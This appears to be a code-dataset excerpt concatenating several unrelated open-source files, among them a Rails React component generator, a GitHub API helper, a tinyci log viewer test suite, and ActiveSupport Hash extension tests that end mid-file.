#include <fifechan.hpp>
int main(int n, char** c) {
fcn::Container* mContainer = new fcn::Container();
if (mContainer == nullptr) {
return 1;
}
return 0;
}
EOS
system ENV.cxx, "-I#{include}", "-L#{lib}", "-lfifechan", "-o", "fifechan_test", "fifechan_test.cpp"
system "./fifechan_test"
end
end
| 29.880952 | 104 | 0.690837 |
1c90c38d45cf689e8760eca902bc052c0400070d | 5,722 | module React
module Generators
class ComponentGenerator < ::Rails::Generators::NamedBase
source_root File.expand_path '../../templates', __FILE__
desc <<-DESC.strip_heredoc
Description:
Scaffold a React component into `components/` of your Webpacker source or asset pipeline.
The generated component will include a basic render function and a PropTypes
hash to help with development.
Available field types:
Basic prop types do not take any additional arguments. If you do not specify
a prop type, the generic node will be used. The basic types available are:
any
array
bool
element
func
number
object
node
shape
string
Special PropTypes take additional arguments in {}, and must be enclosed in
single quotes to keep bash from expanding the arguments in {}.
instanceOf
takes an optional class name in the form of {className}
oneOf
behaves like an enum, and takes an optional list of strings that will
be allowed in the form of 'name:oneOf{one,two,three}'.
oneOfType.
oneOfType takes an optional list of react and custom types in the form of
'model:oneOfType{string,number,OtherType}'
Examples:
rails g react:component person name
rails g react:component restaurant name:string rating:number owner:instanceOf{Person}
rails g react:component food 'kind:oneOf{meat,cheese,vegetable}'
rails g react:component events 'location:oneOfType{string,Restaurant}'
DESC
argument :attributes,
:type => :array,
:default => [],
:banner => 'field[:type] field[:type] ...'
class_option :es6,
type: :boolean,
default: false,
desc: 'Output es6 class based component'
class_option :coffee,
type: :boolean,
default: false,
desc: 'Output coffeescript based component'
REACT_PROP_TYPES = {
'node' => 'PropTypes.node',
'bool' => 'PropTypes.bool',
'boolean' => 'PropTypes.bool',
'string' => 'PropTypes.string',
'number' => 'PropTypes.number',
'object' => 'PropTypes.object',
'array' => 'PropTypes.array',
'shape' => 'PropTypes.shape({})',
'element' => 'PropTypes.element',
'func' => 'PropTypes.func',
'function' => 'PropTypes.func',
'any' => 'PropTypes.any',
'instanceOf' => ->(type) {
'PropTypes.instanceOf(%s)' % type.to_s.camelize
},
'oneOf' => ->(*options) {
enums = options.map{ |k| "'#{k.to_s}'" }.join(',')
'PropTypes.oneOf([%s])' % enums
},
'oneOfType' => ->(*options) {
types = options.map{ |k| "#{lookup(k.to_s, k.to_s)}" }.join(',')
'PropTypes.oneOfType([%s])' % types
}
}
def create_component_file
template_extension = if options[:coffee]
'js.jsx.coffee'
elsif options[:es6] || webpacker?
'es6.jsx'
else
'js.jsx'
end
# Prefer webpacker to sprockets:
if webpacker?
new_file_name = file_name.camelize
extension = options[:coffee] ? 'coffee' : 'js'
target_dir = webpack_configuration.source_path
.join('components')
.relative_path_from(::Rails.root)
.to_s
else
new_file_name = file_name
extension = template_extension
target_dir = 'app/assets/javascripts/components'
end
file_path = File.join(target_dir, class_path, "#{new_file_name}.#{extension}")
template("component.#{template_extension}", file_path)
end
private
def webpack_configuration
Webpacker.respond_to?(:config) ? Webpacker.config : Webpacker::Configuration
end
def component_name
file_name.camelize
end
def file_header
if webpacker?
%|import React from "react"\nimport PropTypes from "prop-types"\n|
else
''
end
end
def file_footer
if webpacker?
%|export default #{component_name}|
else
''
end
end
def webpacker?
defined?(Webpacker)
end
def parse_attributes!
self.attributes = (attributes || []).map do |attr|
name = ''
type = ''
options = ''
options_regex = /(?<options>{.*})/
name, type = attr.split(':')
if matchdata = options_regex.match(type)
options = matchdata[:options]
type = type.gsub(options_regex, '')
end
{ :name => name, :type => lookup(type, options) }
end
end
def self.lookup(type = 'node', options = '')
react_prop_type = REACT_PROP_TYPES[type]
if react_prop_type.blank?
if type =~ /^[[:upper:]]/
react_prop_type = REACT_PROP_TYPES['instanceOf']
else
react_prop_type = REACT_PROP_TYPES['node']
end
end
options = options.to_s.gsub(/[{}]/, '').split(',')
react_prop_type = react_prop_type.call(*options) if react_prop_type.respond_to? :call
react_prop_type
end
def lookup(type = 'node', options = '')
self.class.lookup(type, options)
end
end
end
end
| 30.275132 | 99 | 0.545439 |
d5e8113638dc418c773534ec046f2f3b671a7e93 | 38 | module Git
module Command
end
end
| 7.6 | 16 | 0.736842 |
61e4b0546df76ee5952d0822b5dccce3a883ec55 | 1,691 | require 'octokit'
require './lib/helpers.rb'
module Github
def Github.get_open_pull_requests_ids(config)
begin
$LOGGER.info('Github') { "starting to get open pull requests ids" }
client = Octokit::Client.new(:login => config[:github_login], :password => config[:github_password])
repository_id = get_repository_id(config)
open_pull_requests = client.pull_requests(repository_id, 'open')
open_pull_requests_ids = open_pull_requests.collect { |pull_request| pull_request.number }
return open_pull_requests_ids
rescue
sleep 5
retry
end
end
def Github.get_pull_request_info(pull_request_id, config)
begin
$LOGGER.info('Github') { "starting to get pull request info (#{pull_request_id})" }
client = Octokit::Client.new(:login => config[:github_login], :password => config[:github_password])
repository_id = get_repository_id(config)
info_json = client.pull_request(repository_id, pull_request_id)
raise 'bad info_json' if ![true, false].include?(info_json.merged)
raise 'bad info_json' if info_json.merged == false and ![true, false].include?(info_json.mergeable)
return info_json
rescue
sleep 5
retry
end
end
def Github.comment_on_pull_request(pull_request_id, comment, config)
begin
$LOGGER.info('Github') { "starting to comment on pull request (#{pull_request_id})" }
client = Octokit::Client.new(:login => config[:github_login], :password => config[:github_password])
repository_id = get_repository_id(config)
client.add_comment(repository_id, pull_request_id, comment)
rescue
sleep 5
retry
end
end
end
| 36.76087 | 106 | 0.703134 |
87c6f85c5dea500db93b7362f3233f62de77265f | 848 | module Intrigue
module Ident
module Check
class Tridium < Intrigue::Ident::Check::Base
def generate_checks(url)
[
{
type: 'fingerprint',
category: 'application',
tags: %w[Administrative Networking],
vendor: 'Tridium',
product: 'Niagara',
website: 'https://www.tridium.com/us/en',
description: 'cookie',
version: nil,
match_logic: :all,
matches: [
{
match_type: :content_cookies,
match_content: /niagara_session=/i,
}
],
paths: [{ path: url.to_s, follow_redirects: true }],
inference: false
}
]
end
end
end
end
end
| 26.5 | 66 | 0.444575 |
38894de5dd0f1a507951bab556544f87ddf3f2ee | 6,839 | # frozen_string_literal: true
require 'timeout'
require 'tinyci/log_viewer'
require 'tinyci/multi_logger'
require 'tinyci/scheduler'
RSpec.describe TinyCI::LogViewer do
let(:log_viewer) { TinyCI::LogViewer.new(**{ working_dir: repo.path }.merge(opts)) }
let(:opts) { {} }
let(:regex) do
r = <<~REGEX
^.+Commit:.*$
^.+Cleaning\.\.\.\s*$
^.+Exporting\.\.\.\s*$
^.+Building\.\.\.\s*$
^.+LOL\s*$
^.+Testing\.\.\.\s*$
^.+LMAO\s*$
^.+Finished.*$
REGEX
Regexp.new r
end
let!(:repo) do
RepoFactory.new(:with_log) do |f|
f.file '.tinyci.yml', <<~CONFIG
build: echo LOL
test: echo LMAO
CONFIG
f.add
f.commit 'init', time: Time.new(2020, 1, 1, 10)
f.file '.tinyci.yml', <<~CONFIG
build: echo LOL
test: echo LMAO && false
CONFIG
f.add
f.commit 'fail', time: Time.new(2020, 1, 1, 11)
f.file "builds/#{Time.new(2020, 1, 1, 10).to_i}_#{f.rev('HEAD^1')}/tinyci.log", <<~LOG
[17:49:52] Commit: 9ba9832af4d16199bcff108e388fefd1c5d30e80
[17:49:52] Cleaning...
[17:49:52] Exporting...
[17:49:52] Building...
[17:49:52] LOL
[17:49:52] Testing...
[17:49:52] LMAO
[17:49:52] Finished 9ba9832af4d16199bcff108e388fefd1c5d30e80
LOG
f.file "builds/#{Time.new(2020, 1, 1, 11).to_i}_#{f.rev('HEAD')}/tinyci.log", <<~LOG
[17:49:52] Commit: ad6193a90e80706abb2ba2d3fcfec2fae4ac5090
[17:49:52] Cleaning...
[17:49:52] Exporting...
[17:49:52] Building...
[17:49:52] LOL
[17:49:52] Testing...
[17:49:52] LMAO
[17:49:52] test: `/bin/sh -c 'echo LMAO && false'` failed with status 1
LOG
f.file 'builds/tinyci.log', <<~LOG
[17:49:52] Commit: 9ba9832af4d16199bcff108e388fefd1c5d30e80
[17:49:52] Cleaning...
[17:49:52] Exporting...
[17:49:52] Building...
[17:49:52] LOL
[17:49:52] Testing...
[17:49:52] LMAO
[17:49:52] Finished 9ba9832af4d16199bcff108e388fefd1c5d30e80
[17:49:52] Commit: ad6193a90e80706abb2ba2d3fcfec2fae4ac5090
[17:49:52] Cleaning...
[17:49:52] Exporting...
[17:49:52] Building...
[17:49:52] LOL
[17:49:52] Testing...
[17:49:52] LMAO
[17:49:52] test: `/bin/sh -c 'echo LMAO && false'` failed with status 1
LOG
end
end
describe 'with a specific commit' do
let(:opts) { { commit: repo.rev('HEAD^1') } }
it 'prints the log' do
expect { log_viewer.view! }.to output(regex).to_stdout
end
context 'with num_lines' do
let(:opts) { { commit: repo.rev('HEAD^1'), num_lines: 2 } }
let(:regex_one) do
r = <<~REGEX
^.+Commit:.*$
^.+Cleaning\.\.\.\s*$
^.+Exporting\.\.\.\s*$
^.+Building\.\.\.\s*$
^.+LOL\s*$
^.+Testing\.\.\.\s*$
REGEX
Regexp.new r
end
let(:regex_two) do
r = <<~REGEX
^.+LMAO\s*$
^.+Finished.*$
REGEX
Regexp.new r
end
it 'doesnt print the first lines' do
expect { log_viewer.view! }.to_not output(regex_one).to_stdout
end
it 'prints the last 2 lines' do
expect { log_viewer.view! }.to output(regex_two).to_stdout
end
end
end
describe 'all commits' do
let(:regex) do
r = <<~REGEX
^.+Commit:.*$
^.+Cleaning\.\.\.\s*$
^.+Exporting\.\.\.\s*$
^.+Building\.\.\.\s*$
^.+LOL\s*$
^.+Testing\.\.\.\s*$
^.+LMAO\s*$
^.+Finished.*$
^.+Commit:.*$
^.+Cleaning\.\.\.\s*$
^.+Exporting\.\.\.\s*$
^.+Building\.\.\.\s*$
^.+LOL\s*$
^.+Testing\.\.\.\s*$
^.+LMAO\s*$
^.+test: `/bin/sh -c 'echo LMAO && false'` failed with status 1$
REGEX
Regexp.new r
end
it 'prints the logs' do
expect { log_viewer.view! }.to output(regex).to_stdout
end
end
describe 'follow mode', :slow do
let!(:repo) do
RepoFactory.new(:slow_build) do |f|
f.file '.tinyci.yml', <<~CONFIG
build: for i in {1..5}; do echo $i && sleep 1; done
test: 'true'
CONFIG
f.file 'file', 'lol'
f.add
f.commit 'init'
end
end
let(:scheduler) do
TinyCI::Scheduler.new(
working_dir: repo.path,
commit: repo.head,
logger: TinyCI::MultiLogger.new(quiet: true)
)
end
let(:regex) { Regexp.new((1..5).each_with_object(String.new) { |n, r| r << "^.+#{n}$\n" }) }
let(:opts) { { commit: repo.head, follow: true } }
it 'follows' do
t = Thread.new { scheduler.run! }
sleep 1 until File.exist?(repo.path('builds', 'tinyci.log'))
expect do
Timeout.timeout(6) { log_viewer.view! }
rescue Timeout::Error
end.to output(regex).to_stdout
t.join
end
context 'with num_lines' do
let!(:repo) do
RepoFactory.new(:slow_build_preexisting_log) do |f|
f.file '.tinyci.yml', <<~CONFIG
build: for i in {1..5}; do echo $i && sleep 1; done
test: 'true'
CONFIG
f.file 'file', 'lol'
f.add
f.commit 'init'
f.file 'builds/tinyci.log', <<~LOG
[16:33:10] Commit: d8638bc7c457d2722b8a1a6a58de6d21ff618c3d
[16:33:10] Cleaning...
[16:33:10] Exporting...
[16:33:10] Building...
[16:33:10] 1
[16:33:11] 2
[16:33:12] 3
[16:33:13] 4
[16:33:14] 5
[16:33:15] Testing...
[16:33:15] Finished d8638bc7c457d2722b8a1a6a58de6d21ff618c3d
LOG
end
end
let(:opts) { { follow: true, num_lines: 2 } }
let(:regex) do
s = <<~REGEX
^.+Testing\.\.\.\s*$
^.+Finished.*$
^.+Commit:.*$
^.+Cleaning\.\.\.\s*$
^.+Exporting\.\.\.\s*$
^.+Building\.\.\.\s*$
REGEX
s += (1..5).each_with_object(String.new) { |n, r| r << "^.+#{n}$\n" }
Regexp.new s
end
it 'prints the last num_lines and then follows' do
t = Thread.new { scheduler.run! }
expect do
Timeout.timeout(6) { log_viewer.view! }
rescue Timeout::Error
end.to output(regex).to_stdout
t.join
end
end
end
describe 'with no logs' do
let!(:repo) { create_repo_single_commit }
it 'doesnt throw an exception' do
allow(Warning).to receive :warn
expect { log_viewer.view! }.to_not raise_error
end
it 'prints a message' do
expect { log_viewer.view! }.to output(/Logfile does not exist/).to_stderr
end
end
end
| 27.576613 | 96 | 0.513672 |
6a65f999fd6f3569670836bb14964fd53ef15fa8 | 61,805 | require "abstract_unit"
require "active_support/core_ext/hash"
require "bigdecimal"
require "active_support/core_ext/string/access"
require "active_support/ordered_hash"
require "active_support/core_ext/object/conversions"
require "active_support/core_ext/object/deep_dup"
require "active_support/inflections"
class HashExtTest < ActiveSupport::TestCase
class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
end
class SubclassingArray < Array
end
class SubclassingHash < Hash
end
class NonIndifferentHash < Hash
def nested_under_indifferent_access
self
end
end
class HashByConversion
def initialize(hash)
@hash = hash
end
def to_hash
@hash
end
end
def setup
@strings = { "a" => 1, "b" => 2 }
@nested_strings = { "a" => { "b" => { "c" => 3 } } }
@symbols = { a: 1, b: 2 }
@nested_symbols = { a: { b: { c: 3 } } }
@mixed = { :a => 1, "b" => 2 }
@nested_mixed = { "a" => { b: { "c" => 3 } } }
@integers = { 0 => 1, 1 => 2 }
@nested_integers = { 0 => { 1 => { 2 => 3} } }
@illegal_symbols = { [] => 3 }
@nested_illegal_symbols = { [] => { [] => 3} }
@upcase_strings = { "A" => 1, "B" => 2 }
@nested_upcase_strings = { "A" => { "B" => { "C" => 3 } } }
@string_array_of_hashes = { "a" => [ { "b" => 2 }, { "c" => 3 }, 4 ] }
@symbol_array_of_hashes = { a: [ { b: 2 }, { c: 3 }, 4 ] }
@mixed_array_of_hashes = { a: [ { b: 2 }, { "c" => 3 }, 4 ] }
@upcase_array_of_hashes = { "A" => [ { "B" => 2 }, { "C" => 3 }, 4 ] }
end
def test_methods
h = {}
assert_respond_to h, :transform_keys
assert_respond_to h, :transform_keys!
assert_respond_to h, :deep_transform_keys
assert_respond_to h, :deep_transform_keys!
assert_respond_to h, :symbolize_keys
assert_respond_to h, :symbolize_keys!
assert_respond_to h, :deep_symbolize_keys
assert_respond_to h, :deep_symbolize_keys!
assert_respond_to h, :stringify_keys
assert_respond_to h, :stringify_keys!
assert_respond_to h, :deep_stringify_keys
assert_respond_to h, :deep_stringify_keys!
assert_respond_to h, :to_options
assert_respond_to h, :to_options!
assert_respond_to h, :compact
assert_respond_to h, :compact!
assert_respond_to h, :except
assert_respond_to h, :except!
end
def test_transform_keys
assert_equal @upcase_strings, @strings.transform_keys{ |key| key.to_s.upcase }
assert_equal @upcase_strings, @symbols.transform_keys{ |key| key.to_s.upcase }
assert_equal @upcase_strings, @mixed.transform_keys{ |key| key.to_s.upcase }
end
def test_transform_keys_not_mutates
transformed_hash = @mixed.dup
transformed_hash.transform_keys{ |key| key.to_s.upcase }
assert_equal @mixed, transformed_hash
end
def test_deep_transform_keys
assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_transform_keys{ |key| key.to_s.upcase }
end
def test_deep_transform_keys_not_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_transform_keys{ |key| key.to_s.upcase }
assert_equal @nested_mixed, transformed_hash
end
def test_transform_keys!
assert_equal @upcase_strings, @symbols.dup.transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_strings, @strings.dup.transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_strings, @mixed.dup.transform_keys!{ |key| key.to_s.upcase }
end
def test_transform_keys_with_bang_mutates
transformed_hash = @mixed.dup
transformed_hash.transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_strings, transformed_hash
assert_equal @mixed, :a => 1, "b" => 2
end
def test_deep_transform_keys!
assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @string_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @upcase_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
end
def test_deep_transform_keys_with_bang_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_transform_keys!{ |key| key.to_s.upcase }
assert_equal @nested_upcase_strings, transformed_hash
assert_equal @nested_mixed, "a" => { b: { "c" => 3 } }
end
def test_symbolize_keys
assert_equal @symbols, @symbols.symbolize_keys
assert_equal @symbols, @strings.symbolize_keys
assert_equal @symbols, @mixed.symbolize_keys
end
def test_symbolize_keys_not_mutates
transformed_hash = @mixed.dup
transformed_hash.symbolize_keys
assert_equal @mixed, transformed_hash
end
def test_deep_symbolize_keys
assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_symbolize_keys
assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_symbolize_keys
assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_symbolize_keys
end
def test_deep_symbolize_keys_not_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_symbolize_keys
assert_equal @nested_mixed, transformed_hash
end
def test_symbolize_keys!
assert_equal @symbols, @symbols.dup.symbolize_keys!
assert_equal @symbols, @strings.dup.symbolize_keys!
assert_equal @symbols, @mixed.dup.symbolize_keys!
end
def test_symbolize_keys_with_bang_mutates
transformed_hash = @mixed.dup
transformed_hash.deep_symbolize_keys!
assert_equal @symbols, transformed_hash
assert_equal @mixed, :a => 1, "b" => 2
end
def test_deep_symbolize_keys!
assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
assert_equal @symbol_array_of_hashes, @string_array_of_hashes.deep_dup.deep_symbolize_keys!
assert_equal @symbol_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_symbolize_keys!
assert_equal @symbol_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_symbolize_keys!
end
def test_deep_symbolize_keys_with_bang_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_symbolize_keys!
assert_equal @nested_symbols, transformed_hash
assert_equal @nested_mixed, "a" => { b: { "c" => 3 } }
end
def test_symbolize_keys_preserves_keys_that_cant_be_symbolized
assert_equal @illegal_symbols, @illegal_symbols.symbolize_keys
assert_equal @illegal_symbols, @illegal_symbols.dup.symbolize_keys!
end
def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized
assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_symbolize_keys
assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_dup.deep_symbolize_keys!
end
def test_symbolize_keys_preserves_integer_keys
assert_equal @integers, @integers.symbolize_keys
assert_equal @integers, @integers.dup.symbolize_keys!
end
def test_deep_symbolize_keys_preserves_integer_keys
assert_equal @nested_integers, @nested_integers.deep_symbolize_keys
assert_equal @nested_integers, @nested_integers.deep_dup.deep_symbolize_keys!
end
def test_stringify_keys
assert_equal @strings, @symbols.stringify_keys
assert_equal @strings, @strings.stringify_keys
assert_equal @strings, @mixed.stringify_keys
end
def test_stringify_keys_not_mutates
transformed_hash = @mixed.dup
transformed_hash.stringify_keys
assert_equal @mixed, transformed_hash
end
def test_deep_stringify_keys
assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
assert_equal @nested_strings, @nested_strings.deep_stringify_keys
assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_stringify_keys
assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_stringify_keys
assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_stringify_keys
end
def test_deep_stringify_keys_not_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_stringify_keys
assert_equal @nested_mixed, transformed_hash
end
def test_stringify_keys!
assert_equal @strings, @symbols.dup.stringify_keys!
assert_equal @strings, @strings.dup.stringify_keys!
assert_equal @strings, @mixed.dup.stringify_keys!
end
def test_stringify_keys_with_bang_mutates
transformed_hash = @mixed.dup
transformed_hash.stringify_keys!
assert_equal @strings, transformed_hash
assert_equal @mixed, :a => 1, "b" => 2
end
def test_deep_stringify_keys!
assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
assert_equal @string_array_of_hashes, @string_array_of_hashes.deep_dup.deep_stringify_keys!
assert_equal @string_array_of_hashes, @symbol_array_of_hashes.deep_dup.deep_stringify_keys!
assert_equal @string_array_of_hashes, @mixed_array_of_hashes.deep_dup.deep_stringify_keys!
end
def test_deep_stringify_keys_with_bang_mutates
transformed_hash = @nested_mixed.deep_dup
transformed_hash.deep_stringify_keys!
assert_equal @nested_strings, transformed_hash
assert_equal @nested_mixed, "a" => { b: { "c" => 3 } }
end
def test_symbolize_keys_for_hash_with_indifferent_access
assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
end
def test_deep_symbolize_keys_for_hash_with_indifferent_access
assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
end
def test_symbolize_keys_bang_for_hash_with_indifferent_access
assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
end
def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
end
def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
end
def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
end
def test_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
assert_equal @integers, @integers.with_indifferent_access.symbolize_keys
assert_raise(NoMethodError) { @integers.with_indifferent_access.dup.symbolize_keys! }
end
def test_deep_symbolize_keys_preserves_integer_keys_for_hash_with_indifferent_access
assert_equal @nested_integers, @nested_integers.with_indifferent_access.deep_symbolize_keys
assert_raise(NoMethodError) { @nested_integers.with_indifferent_access.deep_dup.deep_symbolize_keys! }
end
def test_stringify_keys_for_hash_with_indifferent_access
assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
assert_equal @strings, @strings.with_indifferent_access.stringify_keys
assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
end
def test_deep_stringify_keys_for_hash_with_indifferent_access
assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
end
def test_stringify_keys_bang_for_hash_with_indifferent_access
assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!
assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
end
def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
end
def test_nested_under_indifferent_access
foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
assert_kind_of NonIndifferentHash, foo["foo"]
foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
assert_kind_of IndifferentHash, foo["foo"]
end
def test_indifferent_assorted
@strings = @strings.with_indifferent_access
@symbols = @symbols.with_indifferent_access
@mixed = @mixed.with_indifferent_access
assert_equal "a", @strings.__send__(:convert_key, :a)
assert_equal 1, @strings.fetch("a")
assert_equal 1, @strings.fetch(:a.to_s)
assert_equal 1, @strings.fetch(:a)
hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
method_map = { '[]': 1, fetch: 1, values_at: [1],
has_key?: true, include?: true, key?: true,
member?: true }
hashes.each do |name, hash|
method_map.sort_by(&:to_s).each do |meth, expected|
assert_equal(expected, hash.__send__(meth, "a"),
"Calling #{name}.#{meth} 'a'")
assert_equal(expected, hash.__send__(meth, :a),
"Calling #{name}.#{meth} :a")
end
end
assert_equal [1, 2], @strings.values_at("a", "b")
assert_equal [1, 2], @strings.values_at(:a, :b)
assert_equal [1, 2], @symbols.values_at("a", "b")
assert_equal [1, 2], @symbols.values_at(:a, :b)
assert_equal [1, 2], @mixed.values_at("a", "b")
assert_equal [1, 2], @mixed.values_at(:a, :b)
end
def test_indifferent_reading
hash = HashWithIndifferentAccess.new
hash["a"] = 1
hash["b"] = true
hash["c"] = false
hash["d"] = nil
assert_equal 1, hash[:a]
assert_equal true, hash[:b]
assert_equal false, hash[:c]
assert_equal nil, hash[:d]
assert_equal nil, hash[:e]
end
def test_indifferent_reading_with_nonnil_default
hash = HashWithIndifferentAccess.new(1)
hash["a"] = 1
hash["b"] = true
hash["c"] = false
hash["d"] = nil
assert_equal 1, hash[:a]
assert_equal true, hash[:b]
assert_equal false, hash[:c]
assert_equal nil, hash[:d]
assert_equal 1, hash[:e]
end
def test_indifferent_writing
hash = HashWithIndifferentAccess.new
hash[:a] = 1
hash["b"] = 2
hash[3] = 3
assert_equal hash["a"], 1
assert_equal hash["b"], 2
assert_equal hash[:a], 1
assert_equal hash[:b], 2
assert_equal hash[3], 3
end
def test_indifferent_update
hash = HashWithIndifferentAccess.new
hash[:a] = "a"
hash["b"] = "b"
updated_with_strings = hash.update(@strings)
updated_with_symbols = hash.update(@symbols)
updated_with_mixed = hash.update(@mixed)
assert_equal updated_with_strings[:a], 1
assert_equal updated_with_strings["a"], 1
assert_equal updated_with_strings["b"], 2
assert_equal updated_with_symbols[:a], 1
assert_equal updated_with_symbols["b"], 2
assert_equal updated_with_symbols[:b], 2
assert_equal updated_with_mixed[:a], 1
assert_equal updated_with_mixed["b"], 2
assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
end
def test_update_with_to_hash_conversion
hash = HashWithIndifferentAccess.new
hash.update HashByConversion.new(a: 1)
assert_equal hash["a"], 1
end
def test_indifferent_merging
hash = HashWithIndifferentAccess.new
hash[:a] = "failure"
hash["b"] = "failure"
other = { "a" => 1, :b => 2 }
merged = hash.merge(other)
assert_equal HashWithIndifferentAccess, merged.class
assert_equal 1, merged[:a]
assert_equal 2, merged["b"]
hash.update(other)
assert_equal 1, hash[:a]
assert_equal 2, hash["b"]
end
def test_merge_with_to_hash_conversion
hash = HashWithIndifferentAccess.new
merged = hash.merge HashByConversion.new(a: 1)
assert_equal merged["a"], 1
end
def test_indifferent_replace
hash = HashWithIndifferentAccess.new
hash[:a] = 42
replaced = hash.replace(b: 12)
assert hash.key?("b")
assert !hash.key?(:a)
assert_equal 12, hash[:b]
assert_same hash, replaced
end
def test_replace_with_to_hash_conversion
